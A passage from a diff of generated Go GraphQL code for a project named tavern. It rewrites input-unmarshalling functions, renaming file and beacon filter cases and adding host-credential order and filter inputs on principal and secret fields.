-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastSeenAtGTE"))
-			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameIn"))
+			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.LastSeenAtGTE = data
-		case "lastSeenAtLT":
+			it.NameIn = data
+		case "nameNotIn":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastSeenAtLT"))
-			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameNotIn"))
+			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.LastSeenAtLT = data
-		case "lastSeenAtLTE":
+			it.NameNotIn = data
+		case "nameGT":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastSeenAtLTE"))
-			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameGT"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.LastSeenAtLTE = data
-		case "lastSeenAtIsNil":
+			it.NameGT = data
+		case "nameGTE":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastSeenAtIsNil"))
-			data, err := ec.unmarshalOBoolean2bool(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameGTE"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.LastSeenAtIsNil = data
-		case "lastSeenAtNotNil":
+			it.NameGTE = data
+		case "nameLT":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastSeenAtNotNil"))
-			data, err := ec.unmarshalOBoolean2bool(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameLT"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.LastSeenAtNotNil = data
-		case "interval":
+			it.NameLT = data
+		case "nameLTE":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("interval"))
-			data, err := ec.unmarshalOUint642ᚖuint64(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameLTE"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.Interval = data
-		case "intervalNEQ":
+			it.NameLTE = data
+		case "nameContains":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("intervalNEQ"))
-			data, err := ec.unmarshalOUint642ᚖuint64(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameContains"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IntervalNEQ = data
-		case "intervalIn":
+			it.NameContains = data
+		case "nameHasPrefix":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("intervalIn"))
-			data, err := ec.unmarshalOUint642ᚕuint64ᚄ(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameHasPrefix"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IntervalIn = data
-		case "intervalNotIn":
+			it.NameHasPrefix = data
+		case "nameHasSuffix":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("intervalNotIn"))
-			data, err := ec.unmarshalOUint642ᚕuint64ᚄ(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameHasSuffix"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IntervalNotIn = data
-		case "intervalGT":
+			it.NameHasSuffix = data
+		case "nameEqualFold":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("intervalGT"))
-			data, err := ec.unmarshalOUint642ᚖuint64(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameEqualFold"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IntervalGT = data
-		case "intervalGTE":
+			it.NameEqualFold = data
+		case "nameContainsFold":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("intervalGTE"))
-			data, err := ec.unmarshalOUint642ᚖuint64(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameContainsFold"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IntervalGTE = data
-		case "intervalLT":
+			it.NameContainsFold = data
+		case "size":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("intervalLT"))
-			data, err := ec.unmarshalOUint642ᚖuint64(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("size"))
+			data, err := ec.unmarshalOInt2ᚖint(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IntervalLT = data
-		case "intervalLTE":
+			it.Size = data
+		case "sizeNEQ":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("intervalLTE"))
-			data, err := ec.unmarshalOUint642ᚖuint64(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeNEQ"))
+			data, err := ec.unmarshalOInt2ᚖint(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IntervalLTE = data
-		case "intervalIsNil":
+			it.SizeNEQ = data
+		case "sizeIn":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("intervalIsNil"))
-			data, err := ec.unmarshalOBoolean2bool(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeIn"))
+			data, err := ec.unmarshalOInt2ᚕintᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IntervalIsNil = data
-		case "intervalNotNil":
+			it.SizeIn = data
+		case "sizeNotIn":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("intervalNotNil"))
-			data, err := ec.unmarshalOBoolean2bool(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeNotIn"))
+			data, err := ec.unmarshalOInt2ᚕintᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IntervalNotNil = data
-		case "hasHost":
+			it.SizeNotIn = data
+		case "sizeGT":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasHost"))
-			data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeGT"))
+			data, err := ec.unmarshalOInt2ᚖint(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.HasHost = data
-		case "hasHostWith":
+			it.SizeGT = data
+		case "sizeGTE":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasHostWith"))
-			data, err := ec.unmarshalOHostWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostWhereInputᚄ(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeGTE"))
+			data, err := ec.unmarshalOInt2ᚖint(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.HasHostWith = data
-		case "hasTasks":
+			it.SizeGTE = data
+		case "sizeLT":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTasks"))
-			data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeLT"))
+			data, err := ec.unmarshalOInt2ᚖint(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.HasTasks = data
-		case "hasTasksWith":
+			it.SizeLT = data
+		case "sizeLTE":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTasksWith"))
-			data, err := ec.unmarshalOTaskWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTaskWhereInputᚄ(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeLTE"))
+			data, err := ec.unmarshalOInt2ᚖint(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.HasTasksWith = data
-		}
-	}
-
-	return it, nil
-}
-
-func (ec *executionContext) unmarshalInputCreateQuestInput(ctx context.Context, obj interface{}) (ent.CreateQuestInput, error) {
-	var it ent.CreateQuestInput
-	asMap := map[string]interface{}{}
-	for k, v := range obj.(map[string]interface{}) {
-		asMap[k] = v
-	}
-
-	fieldsInOrder := [...]string{"name", "parameters", "tomeID"}
-	for _, k := range fieldsInOrder {
-		v, ok := asMap[k]
-		if !ok {
-			continue
-		}
-		switch k {
-		case "name":
+			it.SizeLTE = data
+		case "hash":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("name"))
-			data, err := ec.unmarshalNString2string(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hash"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.Name = data
-		case "parameters":
+			it.Hash = data
+		case "hashNEQ":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parameters"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashNEQ"))
 			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.Parameters = data
-		case "tomeID":
+			it.HashNEQ = data
+		case "hashIn":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("tomeID"))
-			data, err := ec.unmarshalNID2int(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashIn"))
+			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.TomeID = data
-		}
-	}
-
-	return it, nil
-}
-
-func (ec *executionContext) unmarshalInputCreateTagInput(ctx context.Context, obj interface{}) (ent.CreateTagInput, error) {
-	var it ent.CreateTagInput
-	asMap := map[string]interface{}{}
-	for k, v := range obj.(map[string]interface{}) {
-		asMap[k] = v
-	}
-
-	fieldsInOrder := [...]string{"name", "kind", "hostIDs"}
-	for _, k := range fieldsInOrder {
-		v, ok := asMap[k]
-		if !ok {
-			continue
-		}
-		switch k {
-		case "name":
+			it.HashIn = data
+		case "hashNotIn":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("name"))
-			data, err := ec.unmarshalNString2string(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashNotIn"))
+			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.Name = data
-		case "kind":
+			it.HashNotIn = data
+		case "hashGT":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("kind"))
-			data, err := ec.unmarshalNTagKind2realmᚗpubᚋtavernᚋinternalᚋentᚋtagᚐKind(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashGT"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.Kind = data
-		case "hostIDs":
+			it.HashGT = data
+		case "hashGTE":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hostIDs"))
-			data, err := ec.unmarshalOID2ᚕintᚄ(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashGTE"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
-			}
-			it.HostIDs = data
-		}
-	}
-
-	return it, nil
-}
-
-func (ec *executionContext) unmarshalInputCreateTomeInput(ctx context.Context, obj interface{}) (ent.CreateTomeInput, error) {
-	var it ent.CreateTomeInput
-	asMap := map[string]interface{}{}
-	for k, v := range obj.(map[string]interface{}) {
-		asMap[k] = v
-	}
-
-	fieldsInOrder := [...]string{"name", "description", "author", "supportModel", "tactic", "paramDefs", "eldritch", "fileIDs"}
-	for _, k := range fieldsInOrder {
-		v, ok := asMap[k]
-		if !ok {
-			continue
-		}
-		switch k {
-		case "name":
+			}
+			it.HashGTE = data
+		case "hashLT":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("name"))
-			data, err := ec.unmarshalNString2string(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashLT"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.Name = data
-		case "description":
+			it.HashLT = data
+		case "hashLTE":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("description"))
-			data, err := ec.unmarshalNString2string(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashLTE"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.Description = data
-		case "author":
+			it.HashLTE = data
+		case "hashContains":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("author"))
-			data, err := ec.unmarshalNString2string(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashContains"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.Author = data
-		case "supportModel":
+			it.HashContains = data
+		case "hashHasPrefix":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("supportModel"))
-			data, err := ec.unmarshalOTomeSupportModel2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚋtomeᚐSupportModel(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashHasPrefix"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.SupportModel = data
-		case "tactic":
+			it.HashHasPrefix = data
+		case "hashHasSuffix":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("tactic"))
-			data, err := ec.unmarshalOTomeTactic2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚋtomeᚐTactic(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashHasSuffix"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.Tactic = data
-		case "paramDefs":
+			it.HashHasSuffix = data
+		case "hashEqualFold":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefs"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashEqualFold"))
 			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.ParamDefs = data
-		case "eldritch":
+			it.HashEqualFold = data
+		case "hashContainsFold":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritch"))
-			data, err := ec.unmarshalNString2string(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashContainsFold"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.Eldritch = data
-		case "fileIDs":
+			it.HashContainsFold = data
+		case "hasTomes":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("fileIDs"))
-			data, err := ec.unmarshalOID2ᚕintᚄ(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTomes"))
+			data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.FileIDs = data
+			it.HasTomes = data
+		case "hasTomesWith":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTomesWith"))
+			data, err := ec.unmarshalOTomeWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTomeWhereInputᚄ(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.HasTomesWith = data
 		}
 	}
 
 	return it, nil
 }
 
-func (ec *executionContext) unmarshalInputFileOrder(ctx context.Context, obj interface{}) (ent.FileOrder, error) {
-	var it ent.FileOrder
+func (ec *executionContext) unmarshalInputHostCredentialOrder(ctx context.Context, obj interface{}) (ent.HostCredentialOrder, error) {
+	var it ent.HostCredentialOrder
 	asMap := map[string]interface{}{}
 	for k, v := range obj.(map[string]interface{}) {
 		asMap[k] = v
@@ -7789,7 +8918,7 @@ func (ec *executionContext) unmarshalInputFileOrder(ctx context.Context, obj int
 			var err error
 
 			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("field"))
-			data, err := ec.unmarshalNFileOrderField2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐFileOrderField(ctx, v)
+			data, err := ec.unmarshalNHostCredentialOrderField2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostCredentialOrderField(ctx, v)
 			if err != nil {
 				return it, err
 			}
@@ -7800,14 +8929,14 @@ func (ec *executionContext) unmarshalInputFileOrder(ctx context.Context, obj int
 	return it, nil
 }
 
-func (ec *executionContext) unmarshalInputFileWhereInput(ctx context.Context, obj interface{}) (ent.FileWhereInput, error) {
-	var it ent.FileWhereInput
+func (ec *executionContext) unmarshalInputHostCredentialWhereInput(ctx context.Context, obj interface{}) (ent.HostCredentialWhereInput, error) {
+	var it ent.HostCredentialWhereInput
 	asMap := map[string]interface{}{}
 	for k, v := range obj.(map[string]interface{}) {
 		asMap[k] = v
 	}
 
-	fieldsInOrder := [...]string{"not", "and", "or", "id", "idNEQ", "idIn", "idNotIn", "idGT", "idGTE", "idLT", "idLTE", "createdAt", "createdAtNEQ", "createdAtIn", "createdAtNotIn", "createdAtGT", "createdAtGTE", "createdAtLT", "createdAtLTE", "lastModifiedAt", "lastModifiedAtNEQ", "lastModifiedAtIn", "lastModifiedAtNotIn", "lastModifiedAtGT", "lastModifiedAtGTE", "lastModifiedAtLT", "lastModifiedAtLTE", "name", "nameNEQ", "nameIn", "nameNotIn", "nameGT", "nameGTE", "nameLT", "nameLTE", "nameContains", "nameHasPrefix", "nameHasSuffix", "nameEqualFold", "nameContainsFold", "size", "sizeNEQ", "sizeIn", "sizeNotIn", "sizeGT", "sizeGTE", "sizeLT", "sizeLTE", "hash", "hashNEQ", "hashIn", "hashNotIn", "hashGT", "hashGTE", "hashLT", "hashLTE", "hashContains", "hashHasPrefix", "hashHasSuffix", "hashEqualFold", "hashContainsFold", "hasTomes", "hasTomesWith"}
+	fieldsInOrder := [...]string{"not", "and", "or", "id", "idNEQ", "idIn", "idNotIn", "idGT", "idGTE", "idLT", "idLTE", "createdAt", "createdAtNEQ", "createdAtIn", "createdAtNotIn", "createdAtGT", "createdAtGTE", "createdAtLT", "createdAtLTE", "lastModifiedAt", "lastModifiedAtNEQ", "lastModifiedAtIn", "lastModifiedAtNotIn", "lastModifiedAtGT", "lastModifiedAtGTE", "lastModifiedAtLT", "lastModifiedAtLTE", "principal", "principalNEQ", "principalIn", "principalNotIn", "principalGT", "principalGTE", "principalLT", "principalLTE", "principalContains", "principalHasPrefix", "principalHasSuffix", "principalEqualFold", "principalContainsFold", "secret", "secretNEQ", "secretIn", "secretNotIn", "secretGT", "secretGTE", "secretLT", "secretLTE", "secretContains", "secretHasPrefix", "secretHasSuffix", "secretEqualFold", "secretContainsFold", "hasHost", "hasHostWith", "hasTask", "hasTaskWith"}
 	for _, k := range fieldsInOrder {
 		v, ok := asMap[k]
 		if !ok {
@@ -7818,7 +8947,7 @@ func (ec *executionContext) unmarshalInputFileWhereInput(ctx context.Context, ob
 			var err error
 
 			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("not"))
-			data, err := ec.unmarshalOFileWhereInput2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐFileWhereInput(ctx, v)
+			data, err := ec.unmarshalOHostCredentialWhereInput2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostCredentialWhereInput(ctx, v)
 			if err != nil {
 				return it, err
 			}
@@ -7827,7 +8956,7 @@ func (ec *executionContext) unmarshalInputFileWhereInput(ctx context.Context, ob
 			var err error
 
 			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("and"))
-			data, err := ec.unmarshalOFileWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐFileWhereInputᚄ(ctx, v)
+			data, err := ec.unmarshalOHostCredentialWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostCredentialWhereInputᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
@@ -7836,7 +8965,7 @@ func (ec *executionContext) unmarshalInputFileWhereInput(ctx context.Context, ob
 			var err error
 
 			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("or"))
-			data, err := ec.unmarshalOFileWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐFileWhereInputᚄ(ctx, v)
+			data, err := ec.unmarshalOHostCredentialWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostCredentialWhereInputᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
@@ -8057,330 +9186,276 @@ func (ec *executionContext) unmarshalInputFileWhereInput(ctx context.Context, ob
 				return it, err
 			}
 			it.LastModifiedAtLTE = data
-		case "name":
+		case "principal":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("name"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principal"))
 			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.Name = data
-		case "nameNEQ":
+			it.Principal = data
+		case "principalNEQ":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameNEQ"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalNEQ"))
 			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.NameNEQ = data
-		case "nameIn":
+			it.PrincipalNEQ = data
+		case "principalIn":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameIn"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalIn"))
 			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.NameIn = data
-		case "nameNotIn":
+			it.PrincipalIn = data
+		case "principalNotIn":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameNotIn"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalNotIn"))
 			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.NameNotIn = data
-		case "nameGT":
+			it.PrincipalNotIn = data
+		case "principalGT":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameGT"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalGT"))
 			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.NameGT = data
-		case "nameGTE":
+			it.PrincipalGT = data
+		case "principalGTE":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameGTE"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalGTE"))
 			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.NameGTE = data
-		case "nameLT":
+			it.PrincipalGTE = data
+		case "principalLT":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameLT"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalLT"))
 			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.NameLT = data
-		case "nameLTE":
+			it.PrincipalLT = data
+		case "principalLTE":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameLTE"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalLTE"))
 			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.NameLTE = data
-		case "nameContains":
+			it.PrincipalLTE = data
+		case "principalContains":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameContains"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalContains"))
 			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.NameContains = data
-		case "nameHasPrefix":
+			it.PrincipalContains = data
+		case "principalHasPrefix":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameHasPrefix"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalHasPrefix"))
 			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.NameHasPrefix = data
-		case "nameHasSuffix":
+			it.PrincipalHasPrefix = data
+		case "principalHasSuffix":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameHasSuffix"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalHasSuffix"))
 			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.NameHasSuffix = data
-		case "nameEqualFold":
+			it.PrincipalHasSuffix = data
+		case "principalEqualFold":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameEqualFold"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalEqualFold"))
 			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.NameEqualFold = data
-		case "nameContainsFold":
+			it.PrincipalEqualFold = data
+		case "principalContainsFold":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameContainsFold"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalContainsFold"))
 			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.NameContainsFold = data
-		case "size":
-			var err error
-
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("size"))
-			data, err := ec.unmarshalOInt2ᚖint(ctx, v)
-			if err != nil {
-				return it, err
-			}
-			it.Size = data
-		case "sizeNEQ":
-			var err error
-
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeNEQ"))
-			data, err := ec.unmarshalOInt2ᚖint(ctx, v)
-			if err != nil {
-				return it, err
-			}
-			it.SizeNEQ = data
-		case "sizeIn":
-			var err error
-
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeIn"))
-			data, err := ec.unmarshalOInt2ᚕintᚄ(ctx, v)
-			if err != nil {
-				return it, err
-			}
-			it.SizeIn = data
-		case "sizeNotIn":
-			var err error
-
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeNotIn"))
-			data, err := ec.unmarshalOInt2ᚕintᚄ(ctx, v)
-			if err != nil {
-				return it, err
-			}
-			it.SizeNotIn = data
-		case "sizeGT":
+			it.PrincipalContainsFold = data
+		case "secret":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeGT"))
-			data, err := ec.unmarshalOInt2ᚖint(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("secret"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.SizeGT = data
-		case "sizeGTE":
+			it.Secret = data
+		case "secretNEQ":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeGTE"))
-			data, err := ec.unmarshalOInt2ᚖint(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("secretNEQ"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.SizeGTE = data
-		case "sizeLT":
+			it.SecretNEQ = data
+		case "secretIn":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeLT"))
-			data, err := ec.unmarshalOInt2ᚖint(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("secretIn"))
+			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.SizeLT = data
-		case "sizeLTE":
+			it.SecretIn = data
+		case "secretNotIn":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeLTE"))
-			data, err := ec.unmarshalOInt2ᚖint(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("secretNotIn"))
+			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.SizeLTE = data
-		case "hash":
+			it.SecretNotIn = data
+		case "secretGT":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hash"))
